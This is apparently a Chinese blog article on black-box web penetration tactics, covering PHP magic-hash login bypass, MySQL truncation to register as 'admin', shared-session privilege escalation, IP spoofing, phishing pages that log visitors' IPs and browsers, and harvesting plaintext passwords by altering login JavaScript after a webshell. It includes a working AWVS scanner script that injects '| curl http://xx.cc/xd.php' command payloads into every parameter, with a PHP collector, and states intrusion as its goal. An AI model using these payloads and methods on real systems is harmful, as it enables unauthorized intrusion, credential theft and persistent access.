1. 程式人生 > 其它 >Web黑盒滲透思路之猜想

Web黑盒滲透思路之猜想

場景:WEB後臺爆破

後臺爆破很多人都會選擇最經典的模式,如字典爆破,挖掘未授權訪問漏洞,挖掘驗證碼漏洞(未重新整理,驗證碼識別)等方法。

猜想:

1、後臺程式是採用MD5加密的方式,並且驗證密碼跟被驗證密碼都是從PHP的MD5加密處理的 (PHP5~7存在此BUG),例如:

原理:

程式在處理雜湊字串時,會利用”不等於 或 等於 來對雜湊值進行比較,它把每一個以 0E 開頭的雜湊值都解釋為0,所以如果兩個不同的密碼經過雜湊以後,其雜湊值都是以0E開頭的,那麼PHP就會認為他們相等。那麼在爆破的時候 字典加入一個MD5加密之後以0e開頭的明文密碼即可。

2、前臺有註冊,是否跟後臺用的是同一個SESSION檔案,例如:

這個SESSION 我們可以假設。程式設計師在開發中 註冊一個會員那麼就會新增一條資料到資料庫裡。 登入驗證成功後會寫入一個session,那麼後臺驗證中判斷session他可能是這樣寫的。

  if($_SESSION['user']){        return True;    }

這個設計缺陷 可以假設 他的session跟前臺使用者的session用的是同一個。從而導致一個未授權訪問。(前臺登入之後訪問後臺) 當然也可以說成是越權。因為我們從一 個註冊會員登入寫入了session 從而導致有訪問後臺的許可權 PS:具體情況得看程式碼怎麼寫。

以上方法 我們可以幻想很多很多種漏洞。列如這個

我們又可以這樣猜想:system的鍵名是用來判斷許可權。1則為管理員 0則為普通使用者 在前臺有個註冊功能,那麼我們又聯想到了一個MYSQL的一個溢位漏洞my.ini。

sql-mode=”NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION”

比如一個表的結構是這樣的:

create table admin(username varchar(10) not null,passwd varchar(10) not null);

可以看到username跟passwd的位元組為10,但是my.ini設定成

sql-mode=”NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION”

的話,就算超出也會新增成功,比如:

insert into admin values(‘1234567891         2’,'123456');

他不會插入“1234567891 2 ”而是插 ”1234567891“ 因為指標到1的時候位元組就等於10了。因此我們註冊會員的時候,admin、空格、空格、空格、空格、空格、XX,然後這樣就會註冊到了admin。

切回話題,我們又可以很離譜的這樣猜想。前臺註冊使用者用的資料庫跟後臺是同一個資料表字段。那麼我們可以從前臺註冊然後登入後臺。(這種我還是碰到過的)

當然思路還是有很多很多的,得看你去怎麼去猜想他的程式碼了

場景:WEB掃描器忽略的功能

掃描器相信大家都是用過的,比如一些知名的掃描器:BURP、AppScan 等,但是掃描器也有不夠人性化的時候,例如爬蟲掃描。

這樣我們就以掃描為主題:

1、表單破解,有驗證碼 2、掃描values型SQL注入 3、儲存XSS誤報多 4、被隱藏的某種存在高危漏洞的功能(列如 存在命令執行 沒有任何響應的情況下 掃描器判斷不出來)

在這裡公佈一個自寫AWVS的掃描規則庫(掃描命令執行無響應):

規則庫目錄說明:(放到規定目錄即可)

檔名:cmd.script

解釋:掃描過程中 每個引數都會新增

例如: | curl http://xx.cc/ 然後傳送請求 i_url 變數是當前掃描的YRL

var targetUrl = new TURL(scanURL.url);// 獲取當前的方案 也就是獲取爬蟲到的當前請求
var scheme = getCurrentScheme();// 建立一個HTTP的工作(要求)
var http = new THTTPJob();// 在新建立的作業中填充計劃 將當前請求新增到
HTTPscheme.populateRequest(http);
http_top = http.request; //獲取HTTP請求頭//http_top.msg2 獲取檔案+引數
hmsg2 = http_top.msg2.replace(/&/g, "-")i_url = scanURL.hostPort+"/"+hmsg2;// 一個方案可以有多個輸入
for (var i=0;i<scheme.inputCount; i++){    // 每個輸入可以有多個變化    
var variations = scheme.selectVariationsForInput(i);    
for (var j=0; j < variations.count; j++)    {            // 負荷的變化        
    scheme.loadVariation(variations.item(j));            // 設定我們的有效載荷的輸入值 <XSS>      
    scheme.setInputValue(i, unescape('curl http://xx.cc/xd.php?i='+i_url));            // 建立一個HTTP的工作(要求)            
    var job = new THTTPJob();            // 設定工作targeturl URL            
    job.url = targetUrl;            // 在新建立的作業中填充計劃            
    scheme.populateRequest(job);            // 執行HTTP工作            
    job.execute();    }}// 一個方案可以有多個輸入
    for (var i=0;i<scheme.inputCount; i++){    // 每個輸入可以有多個變化   
     var variations = scheme.selectVariationsForInput(i);    
     for (var j=0; j < variations.count; j++)    {            // 負荷的變化           
     scheme.loadVariation(variations.item(j));            // 設定我們的有效載荷的輸入值 <XSS>            
     scheme.setInputValue(i, unescape('| curl http://xx.cc/xd.php?i='+i_url));            // 建立一個HTTP的工作(要求)            
     var job = new THTTPJob();            // 設定工作targeturl URL            
     job.url = targetUrl;            // 在新建立的作業中填充計劃            
     scheme.populateRequest(job);            // 執行HTTP工作            
     job.execute();    }}// 一個方案可以有多個輸入
        for (var i=0;i<scheme.inputCount; i++){    // 每個輸入可以有多個變化    
        var variations = scheme.selectVariationsForInput(i);    
        for (var j=0; j < variations.count; j++)    {            // 負荷的變化            
           scheme.loadVariation(variations.item(j));            // 設定我們的有效載荷的輸入值 <XSS>    
           scheme.setInputValue(i, unescape('| curl http://xx.cc/xd.php?i='+i_url+"%23"));            // 建立一個HTTP的工作(要求)            var job = new THTTPJob();            // 設定工作targeturl URL            
           job.url = targetUrl;            // 在新建立的作業中填充計劃            
           scheme.populateRequest(job);            // 執行HTTP工作            
           job.execute();    }}// 一個方案可以有多個輸入
             for (var i=0;i<scheme.inputCount; i++){    // 每個輸入可以有多個變化    
             var variations = scheme.selectVariationsForInput(i);    
             for (var j=0; j < variations.count; j++)    {            // 負荷的變化            
             scheme.loadVariation(variations.item(j));            // 設定我們的有效載荷的輸入值 <XSS>            
             scheme.setInputValue(i, unescape(' | curl http://xx.cc/xd.php?i='+i_url+")%23"));            // 建立一個HTTP的工作(要求)            
             var job = new THTTPJob();            // 設定工作targeturl URL            
             job.url = targetUrl;            // 在新建立的作業中填充計劃            
             scheme.populateRequest(job);            // 執行HTTP工作            
             job.execute();    }}// 一個方案可以有多個輸入
             for (var i=0;i<scheme.inputCount; i++){    // 每個輸入可以有多個變化    
             var variations = scheme.selectVariationsForInput(i);    for (var j=0; j < variations.count; j++)    {            // 負荷的變化            
             scheme.loadVariation(variations.item(j));            // 設定我們的有效載荷的輸入值 <XSS>            
             scheme.setInputValue(i, unescape(' | curl http://xx.cc/xd.php?i='+i_url+"))%23"));            // 建立一個HTTP的工作(要求)            
             var job = new THTTPJob();            // 設定工作targeturl URL            
             job.url = targetUrl;            // 在新建立的作業中填充計劃            
             scheme.populateRequest(job);            // 執行HTTP工作            
             job.execute();    }}接受請求的PHP程式碼:檔名:xd.php<?php   $ip = $_SERVER["REMOTE_ADDR"]? $_SERVER["REMOTE_ADDR"] : "";
             if($ip){$i = empty($_GET['i'])? "" : $_GET['i'];$txt = htmlspecialchars($ip."-----".$i."rn");$na = fopen("xd.txt", "a+");$xie = fwrite($na, $txt);}?>  檔名: cmd_inspect.script解釋:掃描器掃完後 傳送一個HTTP請求 判斷是否這個域名是否存在命令執行漏洞// scanurl.url返回URL字串
             var targetUrl = new TURL("http://xx.cc/xd.txt");
             var http = new THTTPJob();
             http.url = targetUrl;http.verb = 'GET';// 執行請求
             http.execute();
             var dzRes = http.response.body; //獲取HTTP響應內容
             if(dzRes.indexOf(scanURL.hostPort) != -1){            logInfo('message:----> yuanchengminglingzhixing!!');//掃描日誌輸出資訊    
             var ri = new TReportItem();//新建報告結果 返回掃描器介面    
             ri.LoadFromFile("cmd.xml"); //載入模板    
             ri.affects = "http://xx.cc/xd.txt";    ri.request = http.request.toString(); //將HTTP請求頭輸出到掃描器    
             ri.response = http.response.body; //將HTTP響應的內容輸出到掃描器    
             ri.fullResponse = http.response.body; //將HTTP響應的內容輸出到掃描器    // 新增警報    
             AddReportItem(ri);//確定輸出}

迴歸話題,我們猜想到許許多多掃描器忽視的功能

例如:爬蟲爬不到的地方,values型SQL注入,存在XSS,當然不是高危漏洞我們就不必挖掘,因為我們目的是以入侵為主,像某些邏輯漏洞我們可以無視。

場景:拿到webshell 資料密碼加密的情況下獲得明文密碼

我們拿到webshell之後想拿到資料庫的明文密碼,我們一開始的思維肯定在想:逆推,撞庫,還有就是嗅探 等方法。

嗅探方法:流量大,易被防火牆報警。

逆推方法:耗腦。

撞庫方法:走很多個步驟。(收集資料)

其實我們可以換個角度去想的,居然我們都拿到webshell了,還不如修改 WEB程式,例如驗證使用者密碼是否對錯,如果登入成功,那麼就記錄他的。

例如這個。

那麼問題來了,沒許可權修改怎麼辦?你可能會想到提權。。。

其實我們把目光指向到HTML。。。列如

我們可以看到有後臺登入頁面有包含JS的地方,那麼我們可以去修改JS,利用ajax方法來獲取html 的input的值來發送到我們伺服器上,但是也可以不用ajax方法。

你也可以用這種方法。

比如:比如點選提交按鈕被觸發後 我們可以獲取input的值 然後

當然如果JS檔案還沒許可權修改的話 你可以提權。。又或者你有跟他同一個區域網的機器,進行中間人劫持。如果他是HTTPS的話 你可以往裡面注入個JS。

場景:收集資訊無從下手

收集資訊我個人覺得這個要個人的實戰經驗,以及思考能力。我個人的實戰經驗雖不算多,不過在這裡我還是說下某些資訊被我們忽視掉的資訊。

第一種:

列如某站:www.aa.com (未做CDN)

很多人都會走以下流程:收集子域,註冊人資訊以及註冊過的域名 關聯域名 等等。

同時也有人忽視掉了一點,那就是域名解析歷史IP,我們可以這樣猜想 域名沒換,但是伺服器搬了很多次。

當前某域名解析的IP是69.。那麼我們可以大膽的假設,103開頭的IP是以前的伺服器,域名現在解析換成了69開頭的,但是103開頭的伺服器網站服務還是開的,資料也沒清理。。。我們把網站解析到103開頭的IP,這也是一種收集資訊的技巧。。。

第二種:

查詢跟目標同一個內網 關聯的域名,(C段 根據網站內容判斷是否跟目標同一個內網,子域,或者有著關聯的部門,又或者有著直接關聯的,再或者從百科瞭解資訊查詢可疑跟目標同一個內網的站。。還有很多種方法)

場景:滲透攻擊之釣魚

相信魚叉攻擊法大家都是用過的,如果只是針對一個單使用者釣魚的話 我們可以利用某種輔助功能來收集資訊為我們入侵鋪上更好的環境。

比如:一個MVC思想的站中。收集資訊(找目標原始碼 什麼都沒有 包括郵箱資訊),以及 任何 任何 任何的入侵方式都無效並且我們感到無能為力的情況下。 但是有個提交留言板(毫無漏洞)。

我們可以這樣想。插入一個URL,比如:http://www.a.com/1.php

1、php 程式碼如下:

<?phpheader("Content-type: text/html; charset=gb2312");include './1.html';$http = $_SERVER['HTTP_USER_AGENT']? $_SERVER['HTTP_USER_AGENT'] : "";$ip = $_SERVER["REMOTE_ADDR"]? $_SERVER["REMOTE_ADDR"] : "";$txt = htmlspecialchars($ip."-----".$http."rn");$na = fopen("xd2.txt", "a+");$xie = fwrite($na, $txt);?>

2、HTML 是釣魚內容

程式碼中記錄到了瀏覽器頭,我們從瀏覽器頭可以判斷目標是用了windows系統還是linux系統,列如MAC 系統 我們可以準備MAC 木馬。。

我們又記錄到了他的IP。我們又可以去想象 記錄中的 IP是可以代理IP,公網,我們可以從他的代理IP下手,又或者C段 進行中間人攻擊。。。

場景:找後臺(重定向攻擊法)

相信大家都有碰到過這種情況。找目標管理後臺,找郵件登入的WEB域名等。。。

一開始大家的思路都是:掃描全網。靠搜尋引擎 等其他非常經典的方法。

但是在某種條件下我們可以利用WEB語言或瀏覽器指令碼語言進行輔助型攻擊。

比如網站前臺有提交資訊給後臺,我們可以利用儲存XSS進行攻擊從而獲取到後臺地址 這也是一種方法。

但是問題來了 提交了之後後臺沒有觸發到JS怎麼辦?

我們可以把思路放到A標籤。A標籤就是重點。列如這種 我們想查詢他的郵件的登入域名。

記錄到的HTTP_REFERER 寫入檔案即可。

點選之後。

此方法也並不是百分百成功,在某種條件下才能利用。

第二種方法:

我們可以猜想目標站就只是個負責輸出資料給使用者看而已,而真真正正的後臺是另外一個域名管理目標站,並且需要繫結HOST檔案才可以。

自寫小工具:https://github.com/xindongzhuaizhuai/host_ip/

我們的思路可以這樣想:掃全網(不建議),查詢可疑IP(C段 歷史IPC段 註冊過的域名C段 等方法)

場景:查詢真實IP

這個找真實IP似乎是每個安全工程師都會經歷過的事情 無非就是 掃檔案 找歷史IP 郵寄發送 DDOS 掃全網。等方法

其他方法都還可以 但是我個人覺得掃全網 似乎就是開著坦克打飛機。至於為什麼這樣說 我得解釋一下:

我們就拿zmap來說吧 掃描速度很好 非常強大,但是往往越強大的工具就越有缺點。

原因:zmap 流量識別太簡單,他速度快的原因是因為tcp會話要3次握手才能建立,而zmap直接第一次握手就把請求斷掉了。於是大多數VPS一掃就封。。。

迴歸話題 其實找真實IP 不妨我們試試挖掘SSRF XEE這類的漏洞 檔案包含等(只要能控制目標能傳送請求即可)

PS:如果挖到這種漏洞的 你可以嘗試利用expect等方式執行命令getshell了。

場景:被忽略掉的隱藏功能

不知道大家有沒有碰到過這種功能 後臺登入有記錄非法操作 例如 登入後臺錯誤5次 就被記錄到資料庫 然後管理介面UI輸出說 此IP 登入使用者名稱ADMIN 錯誤。。

我們可以這樣猜想:獲取IP 有漏洞 可以偽造。

我們在滲透中 有幾種請求務必要修改的。那就是瀏覽器頭

以及 :

X-FORWARDED-FOR Proxy-Client-IP WL-Proxy-Client-IP HTTP_CLIENT_IP X-Forwarded-For

這裡公佈一個火狐瀏覽器(中國版)存在IP偽造漏洞。

你可以往這裡插入XSS,當然你也可以修改其他IP來繞過後臺(有些後臺登入需要IP白名單驗證)

場景:後臺拿不了shell卻又想留後門

有很多白帽子都有挖過未授權訪問。我看過很多的中國黑客入侵文章 從未發現過文章中有 未授權操作這一類的入侵網站。

我記得14年在廣州培訓PHP的時候。老師要求 每個小組 寫一個網站程式出來,答辯結束後,原始碼就會被共享出來,我從20套原始碼(MVC思想)開始程式碼審計的時候 發現超過10套原始碼都有未授權操作這個漏洞。

也在工作實戰中也碰到很多這種漏洞。。不知道是程式設計師太新手,還是太大意,漏洞是這樣的:訪問後臺功能的時候做了限制(未授權不能訪問),但是在其他類上卻沒做任何限制 列如 新增資料。

我們跳回話題:

在WEB管理後臺拿webshell的時候 再無能為力的情況下,但是你又想長時間進入後臺。

方法:1、有些站COOKIE也有永不過期的,你可以記錄他的COOKIE利用它來進行登入。

方法:2、挖掘未授權操作。列如 嘗試 新增管理員 抓包 記錄 URL 以及引數 等。。。在未登入的情況下進行新增。

總結:滲透的思路中,不僅僅靠技術 靠經驗 最重要的是腦子去往其他地方思考、以上我寫的我只是打個比喻。其實在很多場景中得自己學會去隨機應變。

流程:分析—>猜想—>實驗—>結果(運氣好 技術有創新)